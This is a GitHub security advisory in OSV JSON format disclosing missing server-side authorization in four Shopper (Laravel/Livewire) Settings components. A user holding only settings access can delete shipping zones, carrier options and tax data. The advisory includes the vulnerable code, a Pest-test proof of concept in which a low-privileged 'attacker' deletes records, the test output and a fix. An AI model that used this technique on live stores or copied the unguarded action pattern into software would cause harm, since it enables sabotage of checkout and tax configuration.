{"id":"GHSA-f7h9-qv4x-9x57","summary":"Shopping privilege escalation through missing authorization in Settings components","details":"## Summary\n\nFour Livewire components in the Settings area expose destructive Filament actions (`delete` / `edit`) that perform **no server-side authorization**. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse `access_setting` permission, **without** being an admin and **without** any `delete_*`/`edit_*` permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint.\n\nThese records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout.\n\nThis is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. `Settings/Locations/Index` uses `-\u003eauthorize('delete_inventories')`, and `Order/Detail` gates mutating actions with `edit_orders`).\n\n## Affected components\n\n| Component | File | Unauthorized action |\n|---|---|---|\n| `Settings\\Zones\\ZoneShippingOptions` | `packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47` | `delete` → `CarrierOption::query()-\u003efind($arguments['id'])-\u003edelete()` (id is client-supplied) |\n| `Settings\\Zones\\Detail` | `packages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46` | `delete` → `DeleteAction` on the bound `Zone` |\n| `Settings\\Taxes\\Detail` | `packages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42` | `delete` → `DeleteAction` on the bound `TaxZone` |\n| `Settings\\Taxes\\TaxRates` | `packages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97` | `delete` → `DeleteAction` on a `TaxRate` |\n\nEach file contains **zero** `authorize` calls, and the actions declare neither `-\u003eauthorize()` nor an enforced `-\u003evisible()` guard.\n\n## Details\n\nThe Settings pages mount these as child Livewire components. The parent page authorizes `access_setting` (e.g. `Pages/Settings/Taxes.php:29`), but the child components do not re-check authorization, and their destructive actions carry no `-\u003eauthorize()`. Because each Livewire component handles its own `/livewire/update` requests, the action executes purely on the page-level `access_setting` gate — there is no per-resource permission, and `delete_zones` / `delete_taxes` permissions are never even generated by the seeder (`packages/admin/database/seeders/PermissionsTableSeeder.php`).\n\n`ZoneShippingOptions::deleteAction()` is the clearest case — it deletes by an id taken straight from the client action arguments with no scoping and no permission check:\n\n```php\n// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php\npublic function deleteAction(): Action\n{\n    return Action::make('delete')\n        -\u003erequiresConfirmation()\n        // ... no -\u003eauthorize(), no -\u003evisible()\n        -\u003eaction(function (array $arguments): void {\n            CarrierOption::query()-\u003efind($arguments['id'])-\u003edelete();   // client-controlled id\n            // ...\n        });\n}\n```\n\n## Proof of Concept\n\nConfirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite) — the real Livewire/Filament code path, executed as a non-admin user holding only `access_setting`.\n\n```php\nuse Livewire\\Livewire;\nuse Shopper\\Core\\Models\\{CarrierOption, Zone};\nuse Shopper\\Livewire\\Components\\Settings\\Zones\\ZoneShippingOptions;\nuse Tests\\Core\\Stubs\\User;\n\nuses(Tests\\Admin\\TestCase::class);\n\nit('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void {\n    $attacker = User::factory()-\u003ecreate();\n    $attacker-\u003egivePermissionTo('access_setting');          // NOT admin, NO delete_* permission\n    $this-\u003eactingAs($attacker, config('shopper.auth.guard'));\n\n    $zone   = Zone::factory()-\u003ecreate();\n    $option = CarrierOption::factory()-\u003ecreate(['zone_id' =\u003e $zone-\u003eid]);\n\n    Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' =\u003e $zone-\u003eid])\n        -\u003ecallAction('delete', arguments: ['id' =\u003e $option-\u003eid]);\n\n    expect(CarrierOption::query()-\u003efind($option-\u003eid))-\u003etoBeNull();   // deleted -\u003e vulnerable\n});\n```\n\nResult:\n\n```\nAttacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false\n[BEFORE] CarrierOption count = 1  (target #1 'DHL Express' exists = YES)\n[ATTACK] callAction('delete', id=1) on ZoneShippingOptions\n[AFTER ] CarrierOption count = 0  (target #1 exists = NO -\u003e deleted)\n\nPASS  3 passed (11 assertions)\n  ✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz)\n  ✓ a CarrierOption is deleted by the low-priv user\n  ✓ a shipping Zone is deleted by the low-priv user\n```\n\nThe CONTROL case rules out a false positive: the same harness correctly denies `Order/Detail::markPaid` for a user lacking `edit_orders`, proving authorization is enforced when a component declares it — these four components simply declare none.\n\n## Impact\n\nA low-privileged staff member (or a compromised low-privileged account) can sabotage the storefront's checkout/revenue path without any delete permission:\n\n- **Delete a `CarrierOption`** → that shipping rate disappears from checkout for the zone.\n- **Delete a `Zone`** → removes the country → carrier/payment-method/currency mapping; customers shipping to those countries lose all shipping and payment options (`CarrierRateService::getRatesForZone` / `getManualRates` read these directly).\n- **Delete a `TaxZone` / `TaxRate`** → `TaxCalculator::resolveZone()` can no longer resolve the zone, corrupting tax calculation at checkout.\n\nNet effect: integrity and availability damage to live commerce configuration, performed by a principal who was never granted that authority (least-privilege violation).\n\n## Secondary issue found while reproducing\n\n`Zones\\Detail::deleteAction()-\u003eafter()` calls `$this-\u003ereset('zone')`, but `zone` is a `#[Computed]` method (not a property), so it throws `ReflectionException` **after** the row is deleted. Worth fixing alongside the authorization gap.\n\n## Suggested remediation\n\nAdd an authorization check to each action, and ideally a `mount()` guard on each child component, matching the pattern already used in `Settings/Locations/Index.php` and `Team/RolePermission.php`:\n\n```php\npublic function deleteAction(): Action\n{\n    return Action::make('delete')\n        -\u003eauthorize('access_setting')   // or a new granular delete_zones / delete_taxes permission\n        -\u003erequiresConfirmation()\n        // ...\n}\n```\n\nApply to the `delete` (and `edit`) actions in all four components. Consider also generating granular `*_zones` / `*_taxes` permissions so settings access can follow least privilege, and fix the `$this-\u003ereset('zone')` call in `Zones\\Detail`.","aliases":["CVE-2026-56826"],"modified":"2026-09-11T21:45:09.892125463Z","published":"2026-09-11T21:28:20Z","database_specific":{"cwe_ids":["CWE-862"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-09-11T21:28:20Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/shopperlabs/shopper/security/advisories/GHSA-f7h9-qv4x-9x57"},{"type":"PACKAGE","url":"https://github.com/shopperlabs/shopper"}],"affected":[{"package":{"name":"shopper/framework","ecosystem":"Packagist","purl":"pkg:composer/shopper/framework"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.9.2"}]}],"versions":["v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.1.1","v2.1.2","v2.1.3","v2.1.4","v2.1.5","v2.1.6","v2.2","v2.2.1","v2.2.2","v2.2.3","v2.2.4","v2.2.5","v2.2.6","v2.2.7","v2.3","v2.3.1","v2.3.2","v2.3.3","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.5.1","v2.6.0","v2.6.1","v2.6.2","v2.6.3","v2.6.4","v2.7.0","v2.7.1","v2.7.2","v2.7.3","v2.8.0","v2.8.1","v2.9.0","v2.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-f7h9-qv4x-9x57/GHSA-f7h9-qv4x-9x57.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"}]}